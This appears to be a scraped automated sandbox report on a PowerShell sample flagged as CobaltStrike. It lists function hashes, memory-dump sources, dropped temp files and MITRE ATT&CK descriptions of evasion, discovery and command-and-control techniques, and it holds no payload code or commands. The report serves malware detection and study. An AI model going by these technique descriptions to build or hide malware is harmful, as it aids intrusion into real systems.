Instruction Fuzzy Hash: 73021632A0864E4FEB44EF2CD496AE87BE1FFA5324F144077D48DC7362DA64B8468791

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A7992808 Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.645137031.00007FF9A7990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A7990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff9a7990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e94978a8ede5affebf5b44f799c21a1dbc2b076cccefd2943101fbaaef05225
Instruction ID: b95ff0cf8d7b2f8ebe0755f6c7b66a271f6eec0c36e13a5d2cc425a409601375
Opcode Fuzzy Hash: 9e94978a8ede5affebf5b44f799c21a1dbc2b076cccefd2943101fbaaef05225
Instruction Fuzzy Hash: 5151253190E7864FE746DA2988865B07FE1EF97320B1801FBD1C9C7263D919B847C796

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A7990FD9 Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.645137031.00007FF9A7990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A7990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff9a7990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06f7532010871f2be2a4a0a707f780e3aa957e2d9ee164deb276d28ac0f4bf49
Instruction ID: 3c25bb77f6390796cbcf185518207b9a851f776d25cba644f9f7669b4da04e6d
Opcode Fuzzy Hash: 06f7532010871f2be2a4a0a707f780e3aa957e2d9ee164deb276d28ac0f4bf49
Instruction Fuzzy Hash: 1251373190DA8A4FE344DF28D456BA5BBE1FFC5310F1446BBD08DC72A2CB69A945C782

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A7A60580 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.645551786.00007FF9A7A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A7A60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff9a7a60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e845f5fcbec92c2ecc996b23c676222eb5de81a416bccf9ec9f85b37bb6f43b
Instruction ID: 2b8c62f57791632d8b375561abda55ce96aa760e4b65f28309f763372cfa1b00
Opcode Fuzzy Hash: 8e845f5fcbec92c2ecc996b23c676222eb5de81a416bccf9ec9f85b37bb6f43b
Instruction Fuzzy Hash: 9C11548290EBC51FE39797782CA26A67FA09F57110F1900FBD4C4C71D7E8492C868763

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A7992795 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.645137031.00007FF9A7990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A7990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff9a7990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e89163ef7a62efe8e43db323c4abdda68f2711afaf80365d0a80cd2413867dd
Instruction ID: b0cce6d60f3fb7d140b5f49a582529383b53f99ff7cc0a0e8ca402082cc963d1
Opcode Fuzzy Hash: 5e89163ef7a62efe8e43db323c4abdda68f2711afaf80365d0a80cd2413867dd
Instruction Fuzzy Hash: 3D01677111CB0D4FD744EF0CE451AB6B7E0FB95324F10056EE58AC3665DA36E881CB46

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FF9A7990CD0 Relevance: .4, Instructions: 374COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.645137031.00007FF9A7990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A7990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff9a7990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84f3e0af26d3116753746bfa70ca3d64157042c128cd78fc8de104e210dac67f
Instruction ID: 529c899d6656a57ac4e14d7ddbaea943f611cfd3a1eb80b11925076e59bc026d
Opcode Fuzzy Hash: 84f3e0af26d3116753746bfa70ca3d64157042c128cd78fc8de104e210dac67f
Instruction Fuzzy Hash: 13B12731A5DA4B8FE328DF2C94426B5B7D0FF85310B14857FC5CAC76A1DB65B8428381

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A7990D30 Relevance: .2, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.645137031.00007FF9A7990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A7990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff9a7990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca0a4456ef7db806f082e9c6515e140a3eeab4b98c9eb199c95b3a2f347c3028
Instruction ID: 3f3e1d3aba109c062c3d19a53cd102908009ee34e9dc068575b7e8a678923d66
Opcode Fuzzy Hash: ca0a4456ef7db806f082e9c6515e140a3eeab4b98c9eb199c95b3a2f347c3028
Instruction Fuzzy Hash: 97514C32A4D65A4FF718DF3CA4422B577D0FF8A320B15817BC5CEC72A6DA6478468381

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A7990E83 Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.645137031.00007FF9A7990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A7990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff9a7990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b71180b703c5f309dcf8a33226507a95fb202f94673b4afed9c2f2af36643da8
Instruction ID: b27dcbc4da16b0229a5c6270fd7bd91e3e79bdac78876f1ca3333f737ab83da4
Opcode Fuzzy Hash: b71180b703c5f309dcf8a33226507a95fb202f94673b4afed9c2f2af36643da8
Instruction Fuzzy Hash: 1F41D827A091565BEB01B73CB4971D57B90EF53338B0440B3D5C9CF163EA28788A86B6

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exePID: 6452, Parent PID: 6296COMMON

Execution Graph

Execution Coverage:	17.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	29
Total number of Limit Nodes:	2

Executed Functions

Function 080F8708 Relevance: 1.6, APIs: 1, Instructions: 132libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,?,?,?,?,?,?,?,080F824E,MhvNhv,?,?,?,?), ref: 080F8774

Memory Dump Source

Source File: 00000002.00000003.418496631.00000000080F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 080F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_80f0000_powershell.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 5b0a301958f9b14c3ed8f5414731aee123fd3e563d2c63ed9dfabb699d54c5f0
Instruction ID: b8567e840ef808b2206e857ce65db57b2171aa4faae91af1b9c42c80a13f5896
Opcode Fuzzy Hash: 5b0a301958f9b14c3ed8f5414731aee123fd3e563d2c63ed9dfabb699d54c5f0
Instruction Fuzzy Hash: 225174B5A00209DFCF08CF98C890AEEB7B2FF88315F148169E9156B355D734A955CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00A53F9C Relevance: 1.6, APIs: 1, Instructions: 56
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNELBASE(00000000), ref: 00A54F00

Memory Dump Source

Source File: 00000002.00000002.576830729.0000000000A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a50000_powershell.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 67b698b0d8b85b1610b550db6e934bc74986a34744857e3e9d72b4daa6d894b1
Instruction ID: b7f0ad647526daece4ee4ca36350677b069b3440f9e73e7f2f6e10fcb48a0bf8
Opcode Fuzzy Hash: 67b698b0d8b85b1610b550db6e934bc74986a34744857e3e9d72b4daa6d894b1
Instruction Fuzzy Hash: 892144B1D006199BCB14CF9AD8447DEFBB4FB48714F10812AE819B7200C774AA48CFE4

Uniqueness

Uniqueness Score: -1.00%

Function 0088D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.576043669.000000000088D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0088D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_88d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c95dd3f19af9bbf8dc9ee9d36a1b77caa4dcefc8b1466a3d36b9b689b69df71
Instruction ID: c4a1ef410c811fb087a838d2495e51bb8fb507a8fd496dec48bf1e245c3160dc
Opcode Fuzzy Hash: 2c95dd3f19af9bbf8dc9ee9d36a1b77caa4dcefc8b1466a3d36b9b689b69df71
Instruction Fuzzy Hash: 9F01F771508744AAE7209E15DC84B66BFD8FF41728F18C01AED459F2C2C379A805D7B1

Uniqueness

Uniqueness Score: -1.00%

Function 0088D01C Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.576043669.000000000088D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0088D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_88d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b82d672af2d455e5216206d5597dbdcf61a9da65f9bcd96f2b0a8940a68f5773
Instruction ID: 7a5bc760a01b1b71ae3e909bb3c384924544cd5f49b650a2767f4d71548b6f89
Opcode Fuzzy Hash: b82d672af2d455e5216206d5597dbdcf61a9da65f9bcd96f2b0a8940a68f5773
Instruction Fuzzy Hash: E2F0C271404744AEE7208E15CC84B62FFD8FF92724F18C55AED485F282C3B99844CBB1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 080F9038 Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000003.418496631.00000000080F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 080F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_80f0000_powershell.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66815fa4e515433c11deb6288a89f5de42c04bc31794f64a68d3cfb98a76f997
Instruction ID: 13cc780e37964d895a491bcdf17cf9c674a14482ab244a53ba1f5cfbe7d1486a
Opcode Fuzzy Hash: 66815fa4e515433c11deb6288a89f5de42c04bc31794f64a68d3cfb98a76f997
Instruction Fuzzy Hash: 0F91A074E0120ACFCF48CF89C590AAEBBB2FF88305F148169DA1567716D335AA81CF94

Uniqueness

Uniqueness Score: -1.00%

Function 080F83A8 Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000003.418496631.00000000080F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 080F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_80f0000_powershell.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66815fa4e515433c11deb6288a89f5de42c04bc31794f64a68d3cfb98a76f997
Instruction ID: 887eb3d5821390d8c6672c62ec92f3beafb20026a4c8c4226ae6b4b7e4333296
Opcode Fuzzy Hash: 66815fa4e515433c11deb6288a89f5de42c04bc31794f64a68d3cfb98a76f997
Instruction Fuzzy Hash: FC919DB4E0120ACFCF48CF88C5909EEBBB2BF88705F14C169DA156B715D734AA81CB94

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 245f38b4b8a25754bf6e630f8e2acf59.ps1

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: CobaltStrike

Yara Signatures

Initial Sample

Memory Dumps

Other

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cmrapxxo.hjk.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_en1bcru1.rwq.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hjs0l0k3.1qz.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nhdlykep.t4s.psm1

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZBAHHOHE5YMQ79SUESS3.temp

Static File Info

General

File Icon

Network Behavior

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

HTTP Packets

Statistics

CPU Usage

Windows Analysis Report
245f38b4b8a25754bf6e630f8e2acf59.ps1

Function 00A53F9C Relevance: 1.6, APIs: 1, Instructions: 56
COMMON